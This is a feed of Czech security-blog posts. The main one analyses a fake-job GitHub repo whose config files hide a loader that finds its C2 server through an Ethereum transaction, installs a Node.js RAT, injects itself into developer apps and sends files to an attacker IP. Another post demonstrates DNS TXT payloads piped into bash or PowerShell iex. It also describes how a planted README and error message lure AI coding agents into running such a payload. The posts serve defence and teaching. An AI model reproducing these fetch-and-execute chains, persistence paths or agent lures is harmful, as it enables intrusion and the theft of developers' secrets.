Řízené spuštění vzorku neproběhlo na pracovním stroji ani ve snapshotu produkčního systému. Snapshot je nástroj na rollback, ne bezpečnostní hranice.

Arch Linux host
├── REMnux VM: brána, odposlech, packet capture, replay C2
└── Debian 13 VM: jednorázová oběť

REMnux dělal oběti bránu, držel lokálně skutečnou IP adresu C2 serveru, vracel zachycené fáze malwaru, filtroval odchozí provoz a nahrával pakety. Provoz na známé C2 tak nikdy neopustil laboratoř.

Oběť běžela jako neprivilegovaný uživatel bez sudo. Během běhu malwaru nebyla ve virtuálu žádná sdílená složka, žádný GitHub token, žádné forwardování SSH agenta, žádné USB, vypnutá sdílená schránka i drag and drop. Odchozí provoz byl povolený jen na TCP 443 vůči aktuálním IP adresám povolených Ethereum RPC služeb, všechno ostatní se zahazovalo. Před spuštěním jsem si ověřil, že běžný přístup na internet z oběti selže.

Závislosti jsem instaloval přes npm install --ignore-scripts. Ne proto, že by to stačilo, ale abych oddělil, co se spouští při instalaci a co při dev příkazu.

Skutečné odpovědi z /init a /0/body jsem si stáhl už předtím, samostatně a bez spuštění. Věděl jsem tedy, že na konci řetězce něco takového čeká, i jak je to velké. Chtěl jsem, aby loader i obě navazující fáze normálně proběhly a nechaly po sobě stopy v procesech a v provozu, ale aby se poslední článek nespustil. Proto odpovědi na ty dva požadavky vracela brána prázdné:

/init    → {"_B":""}
/0/body  → prázdná odpověď

Loader i obě navazující fáze díky tomu proběhly a nechaly po sobě stopy. Finální payload při spuštění neproběhl. Skutečnou odpověď z /init jsem si předtím stáhl jako neaktivní data a rozebral ji staticky, bez spuštění.

Kde byl škodlivý kód

package.json byl čistý. Žádný preinstall, install, postinstall ani prepare. Jenom obvyklé dev, build, lint, preview.

Běžná rada „instaluj s --ignore-scripts“ by tady tedy nepomohla. Malware nepotřeboval instalaci.

Stejný obfuskovaný loader byl přilepený na konec dvou konfiguračních souborů:

vite.config.ts
postcss.config.js

Loader měl 5 131 bajtů, SHA-256:

ed6c0476c62bc21c981b95861677bf14eeeaba57ac071c860d0e599ecbf6156c

Duplikace ve dvou souborech znamená, že se řetězec spustí, ať už vývojář sáhne po dev serveru nebo po buildu.

C2 uložený v Ethereu

Loader se ptal veřejných Ethereum JSON-RPC endpointů: eth.drpc.org a eth-mainnet.public.blastapi.io (plus jeden zjevně nepoužitelný, ethereum-rpc.publicnode.com1).

Hledal aktivitu spojenou s markerem 33ff3edaf55a8e03dcbc7cb40d498a49. Konkrétní transakce:

Blok:       25688067
Tx:         0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3
Odesílatel: 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891
Příjemce:   0x171b14bb01bb171b14bb0050eb7f39c35c47e682

Nosičem informace není vstupní pole transakce, ale adresa příjemce:

0x 171b14bb 01bb 171b14bb 0050 eb7f39c35c47e682
   |        |    |        |    |
   |        |    |        |    výplň do 20 bajtů
   |        |    |        port 80
   |        |    23.27.20.187
   |        port 443
   23.27.20.187

Žádná kryptografie, prostě čísla zapsaná šestnáctkově. Kdo si to nechce počítat ručně, může si to zkopírovat do souboru a spustit v Pythonu. Nic to nestahuje, nikam se nepřipojuje a nesahá to na soubory:

adresa = "0x171b14bb01bb171b14bb0050eb7f39c35c47e682"

b = bytes.fromhex(adresa.replace("0x", ""))
for i in (0, 6):
    ip = ".".join(str(x) for x in b[i:i + 4])
    port = b[i + 4] * 256 + b[i + 5]
    print("http://" + ip + ":" + str(port))

Rotace infrastruktury tedy znamená jen odeslat další transakci na jinak poskládanou adresu.

Dekódovaný výsledek:

http://23.27.20.187:443/boot
http://23.27.20.187:80/0/boot

Přestože jeden z portů je 443, komunikace probíhala nešifrovaně přes prosté HTTP. Port 443 negarantuje TLS. Garantuje port 443.

Přesný průběh spuštění

Proces začal normálně: bash → npm run dev → Vite → esbuild. Souběžně:

1. spojení na Ethereum RPC a odvození adresy C2;
2. spojení na 23.27.20.187 na portech 443 a 80;
3. stažení dvou různých obfuskovaných JavaScriptových fází;
4. jejich spuštění přes node -e v samostatných procesech;
5. požadavky na finální payloady z /init a /0/body.

Celý řetězec od startu k požadavku na finální payload trval necelé tři desetiny sekundy. V hlavičkách chodil marker, kterým se oběť identifikovala:

X: 33ff3edaf55a8e03dcbc7cb40d498a49:*8-0

Rozbor finálního payloadu

Zachycená odpověď z /init má 166 703 bajtů a čtyři pole. _U je základní adresa serveru, _H je kopie první fáze, _B je hlavní payload a _Z je tělo používané k persistenci.

Hlavní payload byl zabalený v konstruktoru Function s jedním generovaným tělem o 73 649 znacích. Hledání klíčových slov v něm nenajde nic. Rozbalil jsem ho tak, že jsem v izolovaném kontextu vyhodnotil jen dekodér řetězců a operační část nechal být. Tím se odkrylo 343 indexovaných řetězců a s nimi celá logika příkazů a persistence.

Je to cross-platform Node.js RAT. Verze:

260804

Ta čísla vypadají jako datum ve formátu RRMMDD, tedy 4. srpna 2026, den předtím, než jsem vzorek spustil. Stejný vzor mají i markery používané k persistenci (RS260605, C260521A) a starší varianty z roku 2025. Je to pozorování, ne potvrzený fakt, ale sedí to na sebe.

Po připojení se serveru ohlásí. Pošle ID relace, ID procesu, typ operačního systému, verzi, označení kampaně a časy první a aktuální návštěvy. Komunikace jede přes Socket.IO na http://23.27.20.187:443, opět nešifrovaně, s pokusem o znovupřipojení každých pět sekund.

Seznam příkazů

Formát exfiltrace

POST http://23.27.20.187/u/f
Content-Type: multipart/form-data

client_id = <hostname>$<uživatelské jméno>
path      = <cíl zvolený operátorem>
soubor    = pod jménem lokálního souboru

Při rekurzivním nahrávání projde vybraný adresář přes readdirSync a statSync, spočítá u každého souboru relativní cestu a nahrává je po jednom tak, aby na straně útočníka zůstala zachovaná struktura.

I bez jediného příkazu odesílá payload sám od sebe metadata o stroji a relaci přes Socket.IO a telemetrii o stavu persistence na:

POST http://23.27.20.187/verify-human/<označení kampaně>

Ze schránky čte podle systému přes Get-Clipboard, pbpaste nebo xclip.

Cesty persistence

Zhruba sekundu po startu payload hledá JavaScriptové vstupní body běžných vývojářských aplikací a npm:

VS Code          resources/app/node_modules/@vscode/deviceid/dist/index.js
Cursor           resources/app/node_modules/@vscode/deviceid/dist/index.js
Antigravity      resources/app/node_modules/@vscode/deviceid/dist/index.js
Discord          discord_desktop_core/index.js
GitHub Desktop   resources/app/main.js
npm CLI          node_modules/npm/lib/cli.js

Cesty jsou definované zvlášť pro Windows, macOS i Linux.

Injektáž odstraní starší rozpoznané bloky, přidá asi dvě stě mezer a za ně vloží:

/*C260521A*/
global['e']='<označení cíle>';
global.i='*8-0';
/* tělo persistence začínající /*RS260605*/ */

Označení cílů:

app-vscode-eval
app-cursor-eval
app-antigravity-eval
app-discord-eval
app-GitHubDesktop-eval
NPM

Payload si navíc doinstalovává vlastní závislosti (axios, socket.io-client, form-data) do ~/.node_modules nebo ~/.node_module a zakládá si značku první návštěvy:

Linux/macOS: /tmp/.<base64 uživatelského jména>
Windows:     %LOCALAPPDATA%Temp<base64 uživatelského jména>

Kontroly prostředí

Vzorek si testuje prostředí a při shodě se chová jinak. Sleduje proměnnou prostředí jsbot, uživatelská jména github-runner a buildbot a hostnamy jako build-*, sandbox-pool-*, buildkitsandbox, cloudchamber, nijin-lab a dvě konkrétní EV- jména.

Praktický důsledek pro analytiky: nepojmenovávat virtuálku podle toho, k čemu slouží.

Druhá větev

Sekundární loader z /0/boot si žádá o /0/body, dekóduje ho XORem klíčem YU7m{rE/>|==b>#~ a vyhodnotí. Zkoušel jsem si tělo stáhnout v 15:58 UTC a server už neodpovídal ani na jednom portu. Někdy mezi detonací a tímhle pokusem infrastruktura přestala odpovídat.

Indikátory kompromitace

Repozitář a commit

Repozitář: gitcomp88/AICryptoTrader
HEAD:      319dbc61b24e1655ff61bd604b8aee3aa1ca0941
Rodič:     b7abbbb6c6f13ced564fd31c74a6396f3e438405
Zpráva:    Refactoring codebse for speed

Účty na straně útočníka

gitcomp88
gitforcpc903

Jde o indikátory z vyšetřování, ne o důkaz totožnosti.

Škodlivé soubory v repozitáři

vite.config.ts
postcss.config.js

Síť

23.27.20.187
http://23.27.20.187:443        Socket.IO řídicí kanál
/boot  /init  /0/boot  /0/body
/u/f                            nahrávání ukradených souborů
/verify-human/<kampaň>          telemetrie

Markery

33ff3edaf55a8e03dcbc7cb40d498a49    identifikace kampaně
*8-0                                označení buildu
/*RS260605*/                        tělo persistence
/*C260521A*/                        marker injektáže

Starší markery injektáže: /*C250617A*/, /*C250618A*/, /*C250619A*/, /*C250620A*/, /*C260511A*/, /*C260512A*/

Verze a klíč

verze malwaru:        260804
XOR klíč druhé větve: YU7m{rE/>|==b>#~

Lokální artefakty

~/.node_modules
~/.node_module
/tmp/.<base64 uživatelského jména>
%LOCALAPPDATA%Temp<base64 uživatelského jména>

Ethereum

Tx:         0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3
Odesílatel: 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891
RPC:        eth.drpc.org, eth-mainnet.public.blastapi.io, ethereum-rpc.publicnode.com1

Hashe

PDF s přehledem projektu:  1219c37891cede90e98b6102b4b80d485ec6d410eda3d5bb1666ca8ab57a564e
Loader v repozitáři:       ed6c0476c62bc21c981b95861677bf14eeeaba57ac071c860d0e599ecbf6156c
Primární /boot:            950a8f79e48cb6b36d731bb7adf695e2420014813d5705ce41ea8090e8b06724
Sekundární /0/boot:        62b19e0cbb110bc5d33ad4db07af9c7d1018c3951350369d6bdf2b2c1ebc2828
Dekódovaný primární:       aabf3f0cacd91e1bcb0edbd1335b40a9bfade8e7d31c98946b0b876bec69592f
Dekódovaný sekundární:     929967e719214aa6547126bb96636f15d9c230bb4f3dac2bc82578494c5f635e
Skutečná /init JSON:       574919a51df20bb3c73268a2cb2f18739d3408e29a4d6ec7dcba62fa8b5c0264
Pole _B:                   f68955621b28c1715677117b0b38e18cd8e92717ca8eadb44f47a5cc08aef4a3
Rozbalené tělo _B:         624d915598f6b48eeeaabaee19824fcecc35570c4e3a246dda5eaae97db364dd
Pole _Z:                   7ca3d571b64b815dcef80c0938ea30d48df06fcbe00d346c73849bd1b1f4abe7

Celý řetězec

falešný profil s nedoložitelnou pozicí ve velké firmě
→ nabídka práce s atraktivní sazbou
→ pozvánka do privátního GitHub repozitáře
→ frontend vygenerovaný v AI builderu jako návnada
→ zkopírovaná historie legitimního projektu jako důvěryhodnost
→ follow-up „spustil jsi to už?"
→ obfuskovaný loader přilepený na Vite a PostCSS config
→ npm run dev
→ dotaz na Ethereum JSON-RPC
→ C2 adresa odvozená z transakce
→ GET /boot a /0/boot
→ dvě obfuskované fáze přes node -e
→ GET /init
→ Node.js RAT verze 260804
→ injektáž do VS Code, Cursoru, Antigravity, Discordu, GitHub Desktopu a npm
→ Socket.IO řídicí kanál na nešifrovaném portu 443
→ schránka, shell, eval, rekurzivní nahrávání adresářů
→ exfiltrace na /u/f

Omezení rozboru

Hlavní payload jsem rozbalil staticky, tedy bez spuštění jeho operační části. Popsané příkazy, persistence a formát exfiltrace jsou vyčtené z jeho vlastního kódu, ne pozorované za běhu. Druhou větev /0/body nemám, protože C2 přestal odpovídat. Tělo persistence _Z zůstává silně obfuskované, i když jeho role a způsob vkládání jsou z hlavního payloadu prokazatelné. Oběť neobsahovala žádná reálná data, peněženky ani přihlašovací údaje. Jména účtů na GitHubu, metadata commitů, jméno na LinkedIn i to, co o sobě útočník tvrdil, může být vymyšlené nebo ukradené.

The post Spustil jsem malware. Adresu svého serveru si našel v blockchainu appeared first on DIGITÁLNÍ SEBEOBRANA.

Zákazník se přihlásí do nového portálu a otevře si svou fakturu.

V adrese stránky si všimne čísla dokumentu. Zkusí ho změnit.

A aplikace mu zobrazí fakturu jiného zákazníka.

Neprolomil heslo. Neobešel přihlášení. Nepoužil žádný speciální nástroj.

Jen změnil jedno číslo.

Přihlášení přitom funguje. Faktury se správně načítají. Běžný test aplikace prošel.

Aplikace ověřila, že je uživatel přihlášený. Už ale neověřila, jestli smí zobrazit právě tento dokument.

Funkce fungovala.

Jen ne bezpečně.

Prošlo to předáním

Při předání aplikace se obvykle kontroluje očekávaný postup.

Uživatel se přihlásí, vyplní formulář, odešle objednávku nebo stáhne dokument. Administrátor upraví záznam. Data se uloží a potřebné informace se předají dál.

Taková kontrola odpovídá na důležitou otázku:

Dělá aplikace to, co jsme si objednali?

Neodpovídá ale automaticky na jinou:

Co aplikace dovolí člověku, který ji použije jinak, než se očekává?

Může běžný uživatel otevřít dokument někoho jiného? Dostane se k funkci určené správci? Uvidí informace, které mu nepatří? Dokáže přeskočit část procesu?

Bezpečnostní chyba se přitom nemusí projevit pádem aplikace nebo chybovou hláškou.

Naopak. Aplikace požadavek bez problému provede.

Jen pro nesprávného uživatele nebo nad cizími daty.

Přebíráte nebo spouštíte webovou aplikaci?

Pošlete stručný popis aplikace, typů uživatelů a plánovaného termínu předání. Řeknu vám, jestli odpovídá Bezpečnostní kontrole webové aplikace, nebo potřebuje Penetrační test na míru.

Poslat stručný popis aplikace

Když vývoj zrychlí

AI nástroje dokážou vývoj webových aplikací výrazně urychlit.

Pomohou vytvořit přihlášení, administraci, formuláře, uploady, exporty nebo propojení s dalšími systémy. Funkční verze tak může vzniknout velmi rychle.

To samo o sobě není problém.

Problém nastává, když se rychlost vývoje zamění za ověření výsledku.

Každá nová funkce totiž přináší rozhodnutí, která musí aplikace dělat správně:

• Kdo smí tuto stránku otevřít?
• Komu patří tento dokument?
• Kdo může záznam změnit?
• Co smí běžný uživatel a co správce?
• Jaká data může aplikace zobrazit?

AI může funkci vytvořit. Pořád je ale potřeba ověřit, koho přes ni aplikace pustí dovnitř a k čemu mu umožní přístup.

To platí i pro běžný vývoj. U aplikací vytvořených nebo výrazně urychlených pomocí AI je ale snadné bezpečnostní kontrolu přeskočit, protože funkční výsledek vypadá hotově velmi brzy.

Jiný pohled

Bezpečnostní nález automaticky neznamená, že dodavatel nebo vývojář odvedl špatnou práci.

Vývojový tým musí dodat domluvené funkce, propojit jednotlivé části, opravit chyby a zajistit, aby aplikace fungovala jako celek.

Bezpečnost má být součástí kvalitního vývoje. Nezávislá kontrola má ale jiný účel.

Vývojář se například ptá:

Dokáže zákazník zobrazit svou fakturu?

Bezpečnostní kontrola přidává druhou otázku:

Dokáže zobrazit také fakturu někoho jiného?

Nezkouší jen očekávané použití. Prověřuje také změny identifikátorů, obcházení rolí, přístup k cizím datům a další situace, se kterými běžný předávací scénář nemusí počítat.

Vývojové testování a nezávislá bezpečnostní kontrola si nekonkurují.

Každé odpovídá na jinou otázku.

Dokud je čas

Nejlepší chvíle pro nezávislou kontrolu je před finálním převzetím, spuštěním nebo doplacením projektu.

Dodavatel má aplikaci stále v kontextu. Vývojový tým je dostupný. Dokumentace a testovací prostředí jsou po ruce.

Nalezené problémy lze řešit během aktivní spolupráce, ne až ve chvíli, kdy aplikaci používají zákazníci a původní tým už pracuje na jiném projektu.

Firma navíc získá podklad pro rozhodnutí:

• co je potřeba opravit před spuštěním;
• co má největší praktický dopad;
• co lze řešit později;
• zda stačí omezená bezpečnostní kontrola;
• nebo zda projekt potřebuje širší penetrační test.

Kontrola má smysl i u aplikace, která už běží. Předání je ale přirozený okamžik, kdy firma přebírá odpovědnost za systém, jeho uživatele a data.

Je lepší vědět, co skutečně přebírá.

Ne razítko

Smyslem bezpečnostní kontroly není vydat potvrzení, že je aplikace jednou provždy bezpečná.

Takovou záruku poctivě dát nelze. Každý test probíhá v konkrétním čase a v předem domluveném rozsahu.

Výsledkem ale nemá být ani automatický výpis technických zkratek bez vysvětlení.

Klient potřebuje vědět:

• co bylo nalezeno;
• jaký může mít problém dopad;
• jak je závažný;
• jak ho může vývojář ověřit;
• co má opravit jako první.

Výstupem má být prioritizovaný report a konkrétní doporučení k nápravě.

Ne obecné varování. Podklad pro opravy a další rozhodování.

Kontrola, nebo pentest?

Pro jednu menší webovou aplikaci může být vhodná Bezpečnostní kontrola webové aplikace.

Má předem omezený rozsah a zaměřuje se na nejdůležitější části aplikace: přihlášení, uživatelské role, oprávnění, hlavní procesy, práci s neveřejnými daty, formuláře, uploady a API.

Výstupem je prioritizovaný report, doporučení k nápravě a závěrečná konzultace.

Cena je 35 000 Kč za předem omezený rozsah.

U větší nebo citlivější aplikace dává větší smysl Penetrační test na míru. Typicky jde o systémy s více uživatelskými rolemi, několika prostředími, rozsáhlejším API, větším počtem integrací nebo konkrétními rizikovými scénáři.

Také pentest má jasně domluvený rozsah. Ten se stanoví individuálně podle aplikace, cíle testu a požadované hloubky.

Cena se určí po krátkém scopu.

Před podpisem

Funkční předání potvrzuje, že aplikace dělá to, co bylo objednané.

Neříká ale automaticky, kdo se přes její funkce dostane k jakým účtům, dokumentům a datům.

AI může vývoj výrazně urychlit. Nezávislou kontrolu výsledku ale nenahradí.

Před finálním převzetím proto dává smysl položit ještě jednu otázku:

Zkoušel někdo aplikaci použít také jinak než podle návodu?

Pošlete stručný popis aplikace, typů uživatelů, prostředí a plánovaného termínu předání.

Podle rozsahu doporučím Bezpečnostní kontrolu webové aplikace, nebo Penetrační test na míru. Pokud ani jedna varianta nebude pro projekt dávat smysl, řeknu to.

Poslat stručný popis aplikace

The post Aplikace funguje. Stačí to? appeared first on DIGITÁLNÍ SEBEOBRANA.

Jednou z nich je schování kódu do DNS záznamů. Konkrétně do TXT záznamu, který je určený k ukládání textových dat. TXT záznamy se běžně používají například k ověření toho, že máte kontrolu nad doménou, nebo pro nastavení SPF, DKIM a DMARC u e-mailu. Technicky v nich ale může být uložený v podstatě jakýkoliv text.

A když může být v DNS záznamu obyčejný text, může tam být i příkaz.

Třeba příkaz, který se po načtení spustí v shellu. V neškodné podobě jen vypíše zprávu, vytvoří soubor nebo zobrazí ASCII art. Ve škodlivé podobě může útočníkovi otevřít vzdálený přístup k počítači.

Důležitý detail: škodlivý kód v takovém případě nemusí být vůbec uložený v repozitáři. Statický scanner kódu, kontrola commitů ani rychlá lidská review ho nemusí vidět, protože v repozitáři je jen skript, který „načte konfiguraci z DNS“. Samotný payload se objeví až ve chvíli, kdy se DNS záznam přečte a jeho obsah se spustí.

Ukázka

Tuhle techniku si můžete vyzkoušet i bez jakéhokoli škodlivého payloadu.

Následující příklad nic nestahuje, nikam se nepřipojuje a pouze vytvoří soubor ds.txt s jednoduchým ASCII artem:

 /_/
( o.o )
 > ^ <
DNS TXT says meow.

Pointa není v tom, co přesně skript dělá. Pointa je v tom, že kód není v souboru na disku, ale v DNS TXT záznamu.

Linux a macOS

Pro Linux a macOS může být v DNS třeba tento TXT záznam:

txt-demo-sh.digitalnisebeobrana.cz TXT "Y2F0ID4gZHMudHh0IDw8J0VPRicKIC9cXy9cCiggby5vICkKID4gXiA8CkROUyBUWFQgc2F5cyBtZW93LgpFT0YKY2F0IGRzLnR4dAo="

1. Jen zobrazit skript

Tímhle příkazem si zobrazíte, jaký skript je v DNS TXT záznamu uložený:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d

Výstup:

cat > ds.txt <<'EOF'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
EOF
cat ds.txt

2. Vyzkoušet spuštění

Tímhle příkazem se stejný obsah z DNS dekóduje a rovnou spustí:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d | bash

Výsledek: v aktuálním adresáři vznikne soubor ds.txt a jeho obsah se vypíše do terminálu.

Mechanismus je jednoduchý:

DNS TXT → Base64 → dekódování → bash

V téhle ukázce se uloží jen neškodná kočka. Stejný princip ale může místo toho zapsat SSH klíč, stáhnout další skript, odeslat tokeny nebo otevřít reverse shell.

Problém není DNS samotné. Problém je hlavně tahle část:

... | bash

Tím říkáte: „Vezmi text, který přišel zvenku, a spusť ho jako program.“

Windows / PowerShell

Na Windows jde použít podobná ukázka přes PowerShell. TXT záznam může obsahovat Base64 zakódovaný PowerShell skript:

txt-demo-ps.digitalnisebeobrana.cz TXT "JGFydCA9IEAnCiAvXF8vXAooIG8ubyApCiA+IF4gPApETlMgVFhUIHNheXMgbWVvdy4KJ0AKU2V0LUNvbnRlbnQgLVBhdGggLlxkcy50eHQgLVZhbHVlICRhcnQgLUVuY29kaW5nIFVURjgKR2V0LUNvbnRlbnQgLlxkcy50eHQK"

1. Jen zobrazit skript

Tímhle příkazem si zobrazíte, jaký PowerShell skript je v DNS TXT záznamu uložený:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s))

Výstup:

$art = @'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
'@
Set-Content -Path .ds.txt -Value $art -Encoding UTF8
Get-Content .ds.txt

2. Vyzkoušet spuštění

Tímhle příkazem se stejný obsah z DNS dekóduje a rovnou spustí:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)))

Výsledek: v aktuálním adresáři vznikne soubor ds.txt a jeho obsah se vypíše do terminálu.

iex je zkratka pro Invoke-Expression. Jinými slovy: vezme text a spustí ho jako PowerShell kód.

Mechanismus je stejný jako u shellu:

DNS TXT → Base64 → dekódování → PowerShell

DNS TXT záznam sám o sobě nevypadá nebezpečně. Base64 sám o sobě také není malware. PowerShell sám o sobě je běžný administrační nástroj. Nebezpečné je až jejich spojení ve chvíli, kdy se obsah zvenku automaticky spustí.

Co ukázal 0DIN

Výzkumníci z Mozilla 0DIN popsali útok, ve kterém AI agent dostal zdánlivě jednoduchý úkol: zprovoznit stažený repozitář.

Repozitář sám o sobě nemusel obsahovat zjevný malware. README nabízelo běžný first-time setup:

pip3 install -r requirements.txt
python3 -m axiom init

Na první pohled jsou to jen dva normální příkazy: instalace závislostí a inicializace projektu.

V původním popisu útoku se ale mluví o třech částech. To neznamená, že uživatel nebo AI agent musí ručně provést tři samostatné příkazy. Jde spíš o tři navazující vrstvy útoku:

1. důvěryhodně vypadající repozitář,
2. inicializační rutina, která působí jako běžná součást setupu,
3. setup skript, který si za běhu načte skutečný payload z DNS TXT záznamu a spustí ho.

Příkaz:

python3 -m axiom init

uvnitř spustí další setup skript. Ten se podívá do DNS, přečte TXT záznam, dekóduje jeho obsah a předá ho shellu.

Chybová hláška typu:

Axiom not initialised. Run: python3 -m axiom init

je v tomhle řetězci spíš pojistka. Pokud agent README neposlechne a pokusí se balíček použít bez inicializace, balíček mu stejný příkaz doporučí znovu jako běžnou opravu.

Takže existují dvě cesty ke stejnému výsledku.

Agent může poslechnout README:

pip install → init → DNS TXT → spuštění payloadu

Nebo README přeskočí, narazí na chybu a pak se „opraví“:

pip install → chyba → doporučený init → DNS TXT → spuštění payloadu

V obou případech je cíl stejný. Dostat agenta k tomu, aby spustil inicializační příkaz, který vypadá normálně, ale ve skutečnosti otevře cestu k externímu payloadu.

To je na tom nejnepříjemnější. Každý krok samostatně může vypadat nevinně. Problém vznikne až jejich složením.

Proč je to problém právě u AI agentů

U člověka je alespoň nějaká šance, že se u příkazu typu:

dig ... | base64 -d | bash

zastaví a řekne si: počkat, proč spouštím něco z DNS?

AI agent ale často pracuje jinak. Dostane cíl, například „zprovozni projekt“, a začne řešit překážky. Když něco nefunguje, přečte si README, error message, issue nebo nápovědu v terminálu a pokusí se pokračovat.

To je přesně jeho síla. A zároveň slabina.

Agent nemusí být „hacknutý“ v dramatickém slova smyslu. Stačí, že je příliš ochotný. Spustí doporučený příkaz, protože odpovídá jeho úkolu. A pokud má přístup k shellu, síti a vašemu pracovnímu adresáři, může být škoda velmi praktická:

• únik API tokenů,
• únik SSH klíčů,
• přístup k privátním repozitářům,
• čtení konfiguračních souborů,
• přístup k cloudovým credentials,
• spuštění dalšího kódu,
• otevření reverse shellu.

Jinými slovy: nejde jen o „AI bezpečnost“. Je to klasická bezpečnost vývojářského prostředí, jen zrychlená a zesílená AI agentem.

Zabrání tomu antivirus nebo firewall?

Nespoléhal bych na to.

Běžná kontrola repozitáře nemusí nic podezřelého najít, protože skutečný payload není v repozitáři. Je až v DNS.

Antivirus se také nemusí chytit, pokud vidí jen běžné nástroje: Python, shell, dig, PowerShell, DNS dotaz. A firewall často DNS provoz povoluje, protože bez DNS se běžná práce na internetu rychle rozbije.

To neznamená, že obrana neexistuje. Dobré EDR, monitoring procesů, blokování podezřelých child procesů, omezení odchozí komunikace nebo detekce podezřelých řetězců typu base64 | bash a Invoke-Expression pomoct mohou.

Jen není dobrý nápad spoléhat na to jako na jedinou ochranu.

Jak se tomu bránit

Základní pravidlo je jednoduché: neznámý repozitář je neznámý kód. A to platí i ve chvíli, kdy ho otevírá AI agent.

Prakticky to znamená:

• Nespouštět setup skripty z neznámých projektů naslepo.
• Nepovažovat doporučení AI agenta za bezpečnostní kontrolu.
• Dávat pozor na konstrukce typu curl | bash, wget | bash, dig | bash, base64 -d | bash, bash -c "$něco" nebo PowerShell Invoke-Expression.
• Kontrolovat nejen příkaz, který se spouští, ale i to, co si tento příkaz načítá za běhu.
• Spouštět cizí projekty v izolovaném prostředí: kontejner, VM, throwaway uživatel, devcontainer nebo sandbox.
• Nedávat AI agentovi zbytečně široká oprávnění.
• Nenechávat v prostředí dostupné produkční tokeny, SSH klíče, cloudové credentials a jiné dlouhodobé secrety.
• Omezit odchozí síťový provoz z vývojového prostředí tam, kde to dává smysl.
• U AI coding agentů vypnout nebo výrazně omezit automatické schvalování shell příkazů.
• Brát README, chybové hlášky, issues a dokumentaci v cizím repozitáři jako nedůvěryhodný vstup, ne jako autoritativní instrukce.

Dobrá kontrolní otázka zní:

Vidím opravdu celý kód, který se po spuštění provede?

Pokud příkaz něco stahuje, čte z DNS, skládá z proměnných, dekóduje z Base64 nebo posílá do shellu, odpověď je často: ne, nevidím.

A v takové chvíli už nejde o „jenom setup“.

Jde o vzdálené spuštění kódu s právy uživatele, který má často na svém počítači mnohem víc citlivých věcí, než si připouští.

Shrnutí

DNS TXT záznamy nejsou nebezpečné samy o sobě. Base64 není nebezpečné samo o sobě. AI agenti také nejsou nebezpeční sami o sobě.

Nebezpečné je, když se tyto věci spojí:

důvěryhodně vypadající projekt
+ ochotný AI agent
+ shell s příliš širokými právy
+ externě načtený payload
= problém

A proto je dobré si občas připomenout staré pravidlo v nové podobě:

Nekopírujte náhodné příkazy z internetu do terminálu.
A nenechávejte to dělat ani svého AI agenta.

Zdroje

• Mozilla 0DIN: Clone This Repo and I Own Your Machine
• RFC 1464: Using the Domain Name System To Store Arbitrary String Attributes
• RFC 1035: Domain Names – Implementation and Specification
• Microsoft Learn: Resolve-DnsName
• Microsoft Learn: about_PowerShell_exe

The post Kód schovaný v DNS: když AI agent poslušně otevře dveře appeared first on DIGITÁLNÍ SEBEOBRANA.

V roce 1977 americký NBS, dnešní NIST, standardizoval DES jako federální standard pro ochranu dat v nevojenských federálních počítačových systémech. Později se DES rozšířil i do soukromého sektoru. Standard popisoval 56bitovou proměnnou část klíče, která byla i na tehdejší poměry kratší (slabší) než by bylo ideální pro bezpečnost.
A protože výběru standardu se tehdy účastnila i NSA, nebylo úplně od věci podezření, že takto krátký klíč je vybrán záměrně, aby měly vládní agentury možnost šifru prolomit a dostat se k datům občanů a firem.
Diffie a Hellman už v roce 1977 tvrdili, že speciální stroj za cca 20 milionů dolarů by DES klíč našel zhruba za den – tedy něco, co by pro agenturu typu NSA bylo realistické. Pro srovnání – dnes by prolomení šifry s grafickou kartou RTX 3070 trvalo přibližně 100 dní.

Tady se poprvé silně objevuje otázka: má být civilní šifrování dost silné i proti státu, nebo jen proti běžným útočníkům?

Na říjen 1977 IEEE pořádala na Cornell University konference International Symposium on Information Theory, kde měli vystupovat Martin Hellman, Stephen Pohlig, Ralph Merkle a další s pracemi o moderní kryptografii. Právník Joseph Meyer posílá IEEE dopis naznačující, že publikace kryptografických prací může narážet na exportní zákony, konkrétně ITAR – pravidla pro kontrolu vývozu vojenských a obranných technologií, služeb a technických dat. Prostě zákaz vývozu zbraní. Později se ukázalo, že Meyer pracuje pro NSA.
IEEE konferenci nezruší – akademická kryptografie se odmítla vrátit do režimu tichého předběžného schvalování státem.
Byl to raný pokus vyvolat strach v akademické komunitě. Nešlo sice ještě o soud, ale byl to signál: stát může považovat kryptografický výzkum za kontrolovanou technologii.

Vesmírná Prezidentská direktiva NSDD-145

V polovině 80. let přišlo Reaganově administrativě jako dobrý nápad centralizovat bezpečnost citlivých federálních informačních systémů pod režim, ve kterém měla hlavní slovo NSA (direktiva NSDD-145). Což znamenalo, že i oblast civilní počítačové bezpečnosti by se dostala pod výrazně větší vliv zpravodajců. Mimochodem, toto se příznačně děje v roce 1984.
To ale vyvolalo odpor Kongresu, civilních institucí i části soukromého sektoru, protože NSA je vojenská/zpravodajská agentura, ne civilní standardizační orgán.

V roce 1987 byl schválen Computer Security Act, který nařízení přibrzdil. Tento zákon dal hlavní odpovědnost za bezpečnost neutajovaných federálních počítačových systémů civilnímu NBS/NIST. NSA měla pomáhat technicky, ne být hlavní civilní autoritou.

Šifrování do rukou lidem nepatří?

A kdyby sme tam dali „zadní vrátka?“

16. dubna 1993 Bílý dům oznamuje Clipper Chip. Šlo o vládou podporovaný šifrovací čip pro zabezpečenou komunikaci, ale s key escrow mechanismem, tedy s možností vládního přístupu ke klíčům při zákonné autorizaci. To je ikonický symbol Crypto Wars: vláda už tuší, že úplně zakázat šifrování je složité, ale přecijen – když už mají lidé šifrovat, ať je v tom vestavěný přístup pro stát. Clipper měl tedy šifrovat, ale zároveň ke každé komunikaci přidávat speciální balíček pro policii. Ten balíček se jmenoval LEAF. LEAF měl obsahovat informaci, podle které by vláda po získání povolení mohla obnovit šifrovací klíč a komunikaci přečíst.
